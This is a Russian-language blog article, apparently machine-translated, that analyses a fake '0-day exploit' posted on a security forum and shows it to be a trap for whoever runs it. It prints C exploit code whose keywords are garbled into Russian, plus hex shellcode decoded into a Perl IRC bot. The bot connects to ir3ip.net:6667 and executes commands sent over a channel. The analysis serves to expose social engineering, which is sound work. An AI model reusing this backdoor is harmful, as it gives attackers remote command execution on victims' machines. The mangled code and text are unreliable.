Социальная инженерия встречает бота (часть 2)
Мы остановились в первой части как раз там, где все должно было стать действительно интересным. Вы помните, я предложил прочитать ссылку, которую я включил в конце первой части. Весь смысл прочтения этой ссылки состоял в том, чтобы ознакомиться с системными вызовами компьютера, такими как send() и recv(). Именно эти системные вызовы позволяют коду эксплойта согласовывать трехстороннее рукопожатие TCP/IP. Это рукопожатие требуется для установления связи между двумя компьютерами. В конце концов, было бы трудно попытаться использовать машину с помощью тщательно разработанного кода эксплойта, если бы он не содержал системных вызовов для отправки и получения пакетов.
Анализ начинается
Первое, что я заметил в «коде эксплойта», который я включил в часть 1, — это отсутствие системных вызовов. Это дало мне подозрение, что все, что должно произойти, произойдет локально, т.е. на машине, на которой этот код был скомпилирован и выполнен. Увидеть, однако, значит поверить, поэтому, пожалуйста, ознакомьтесь с приведенным ниже фрагментом кода из этого общедоступного эксплойта.
недействительным con(int sockfd)
{
символ рб[1500];
fd_set fdreadme;
инт я;FD_ZERO(&fdreadme);
FD_SET(sockfd, &fdreadme);
FD_SET(0, &fdreadme);пока(1)
{
FD_SET(sockfd, &fdreadme);
FD_SET(0, &fdreadme);
if(select(FD_SETSIZE, &fdreadme, NULL, NULL, NULL) < 0) перерыв;
если(FD_ISSET(sockfd, &fdreadme))
{
if((i = recv(sockfd, rb, sizeof(rb), 0)) < 0)
{
printf("[-] Соединение потеряно.. ");
выход(1);
}
if(write(1, rb, i) < 0) перерыв;
}если(FD_ISSET(0, &fdreadme))
{
if((i = read(0, rb, sizeof(rb))) < 0)
{
printf("[-] Соединение потеряно.. ");
выход(1);
}
если (send(sockfd, rb, i, 0) < 0) перерыв;
}
спать(10000);
}printf("[-] Соединение закрыто внешним хостом.. ");
выход (0);
}
int main(int argc, char **argv)
{
int len, len1, sockfd, c, a;
беззнаковый длинный рет;
беззнаковый короткий порт = 135;
символ без знака buf1[0x1000];
символ без знака buf2[0x1000];
беззнаковый короткий lportl=666; /* лекарство */
char lport[4] = "x00xFFxFFx8b"; /* лекарство */
структура хоста *he;
структура sockaddr_in их_адрес;
статический символ *hostname=NULL;если(аргумент<2)
{
использование (аргумент [0]);
}while((c = getopt(argc, argv, "d:t:r:p:l:"))!= EOF)
{
переключатель (с)
{
случай 'г':
имя хоста = optarg;
ломать;
случай 'т':
тип = atoi (optarg);
если ((тип > 1) || (тип < 0))
{
printf("[-] Выберите правильную цель: ");
for(a = 0; a < sizeof(targets)/sizeof(v); a++)
printf("%d [0x%.8x]: %s ", a, target[a].ret, target[a].os);
вернуть 1;
}
ломать;
случай 'р':
target[type].ret = strtoul(optarg, NULL, 16);
ломать;
случай 'р':
порт = atoi(optarg);
если ((порт > 65535) || (порт < 1))
{
printf("[-] Выберите порт в диапазоне 1-65535 ");
вернуть 1;
}
ломать;
случай 'л':
lportl = atoi(optarg);
если ((порт > 65535) || (порт < 1))
{
printf("[-] Выберите порт в диапазоне 1-65535 ");
вернуть 1;
}
ломать;
дефолт:
использование (аргумент [0]);
вернуть 1;
}
}
Показанный выше код раскрывает информацию о необработанном сокете, который будет использоваться для передачи пакетов, используемых в этой атаке. Достаточно сказать, что не было таких попыток создать необработанный сокет в эксплойте, который был опубликован на форуме человеком, утверждающим, что это эксплойт нулевого дня. Как только это будет установлено, в вашей голове должны начать звучать тревожные звоночки. Если нет системных вызовов, используемых для доставки полезной нагрузки эксплойта на целевую машину, то где именно этот код будет выполняться? Ты угадал; прямо на самой локальной машине. На самом деле вы не будете никого эксплуатировать, а код будет эксплуатировать вас!
Еще одна вещь в этом предполагаемом подвиге беспокоила меня. Если вы еще не взглянули на ссылку, которую я дал вам, чтобы посмотреть выше, пожалуйста, сделайте это сейчас. Что еще меня здесь беспокоило, так это то, что было удивительно мало машинного языка или ASM, как его еще называют. Предполагаемый ASM в коде, указанном в части I, выглядит как небольшой фрагмент ниже;
символ *shellcode_payload=
x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0ax24x3
x68x61x6ex3dx22x23x30x78x22x3bx24x6ex69x63x6bx3dx22xb
x22x3bx24x73x65x72x76x65x72x3dx22x69x72x33x69x70x2exe
x65x74x22x3bx24x53x49x47x7bx54x45x52x4dx7dx3dx7bx7dxb
x65x78x69x74x20x69x66x20x66x6fx72x6bx3bx75x73x65x20x9
Хотя я не разработчик по своей природе и не разработчик эксплойтов, я все же могу сказать вам, что почти каждый эксплойт, который я видел, содержит гораздо больше ASM, чем этот. Мало того, в большинстве кодов эксплойтов есть фрагменты ASM, содержащие цепочку NOP, которая состоит из символа 0x90. Эти функции включены по определенной причине, которая выходит за рамки этой статьи. Действительно, очень редко можно увидеть эксплойт, в котором нет этого 0x90. Вы можете назвать это отличительной чертой кода эксплойта, потому что поставщики IDS используют его для создания сигнатур IDS. На данный момент в игре я задаюсь вопросом, является ли это вообще ASM. Интересно, возможно, это просто шестнадцатеричные строки ascii? Ну есть только один способ узнать!
Преобразование HEX в ASCII
Вы помните в первой части, что я рекомендовал вам скачать программу hex2.exe. Это программа, которую мы будем использовать для преобразования предполагаемого ASM в ASCII и посмотрим, что будет обнаружено, если что-нибудь. Прежде всего, я введу небольшой фрагмент «ASM» в конвертер hex2.exe. Убедитесь, что вы вставляете код в шестнадцатеричное окно. Когда вы закончите, нажмите кнопку рядом с ним «Преобразовать шестнадцатеричное число в десятичное и бинарное». То, что получилось, показано ниже на картинке.
Ну очень даже интересно это! Что, черт возьми, это /tmp/hi тогда? Основываясь только на этом маленьком фрагменте, я бы сказал, что кто-то создал каталог с именем /tmp/hi на лабораторной машине Linux. Самое любопытное, но это становится лучше. Затем я вставляю в hex2.exe большой фрагмент «ASM» для преобразования. Давайте посмотрим на результаты на скриншоте ниже.
У нас есть что-то похожее на сценарий PERL. Большая часть самого скрипта скрыта в программе hex2.exe, поэтому я вставил и отформатировал его содержимое ниже, чтобы мы могли его посмотреть.
#!/USR/бен/перл
$chan = «# 0x»; $ ник = «k»; $ server = «ir3ip.net »;
$SIG{ТЕРМИН}={};
выйти, если fork;использовать IO::Socket;
$sock = IO::Socket::INET->new($server.:6667″)||exit;
print $sock «ПОЛЬЗОВАТЕЛЬ k +ik:kv1 НИК k »;
$i=1;в то время как(<$sock>=~/^[^ ]+ ([^ ]+) /){$mode=$1;
последний, если $mode==”001″;
if($mode==”433″){$i++;$nick=~s/d*$/$i/;
напечатать $sock «НИК $nick »;}}
напечатайте $sock «ПРИСОЕДИНЯЙТЕСЬ $chan PRIVMSG $chan:Hi »;
while(<$sock>){if (/^PING (.*)$/){print $sock "PONG $1 JOIN $chan ";}
if(s/^[^ ]+ PRIVMSG $chan:$nick[^:w]*:[^:w]* (.*)$/$1/){s/s*$//;
$_=`$_`;foreach(разделить " "){print $sock "PRIVMSG $chan:$_ ";sleep 1;}}
}#/tmp/привет
Что ж, взглянув на это быстро, я могу сказать, почему у нас не было никаких системных вызовов в предполагаемом коде эксплойта. Обратите внимание, что в четвертой и пятой строке будет создан сокет. Итак, теперь мы подтвердили, что этот поддельный код эксплойта будет выполняться локально на лабораторной машине с Linux или на машине с win32, если бы я делал это через Cygwin. Однако это не единственная крупица информации, которую можно извлечь из этого. Теперь мы можем подтвердить, что этот код откроет сокет на машине человека, выполняющего этот код, который, в свою очередь, будет использоваться для связи с IRC-сервером. Это также иллюстрируется четвертой и пятой строками. Еще лучше, что фактический сервер IRC идентифицируется во второй строке. Комната чата и имя пользователя для входа на сервер также отображаются во второй строке.
Наконец-то ответы!
Что ж, с приведенной выше информацией на руках, безусловно, кажется, что это действительно не код эксплойта 0-day, как постулирует автор. То, что мы имеем здесь, является полусырой попыткой социальной инженерии. Не только это, но и довольно странное место для этого. Из всех мест, где можно было провернуть эту мошенническую работу, онлайн-форум по компьютерной безопасности, безусловно, был не лучшим местом. Как ни странно, когда я связался с автором по указанному адресу электронной почты, я не получил ответа. В этом нет ничего удивительного, но было любопытно посмотреть, хватит ли наглости плакату ответить мне. На этом мы закончим часть 2, а в части 3 мы пройдемся по трассировке пакета, сгенерированной этим «эксплойтом». Будучи хорошим аналитиком, я, конечно, убедился, что у меня работает анализатор пакетов, пока этот код выполняет свою работу. В части 3 вы увидите именно то, что произошло на уровне пакетов, и я осмелюсь сказать, что это самая крутая часть!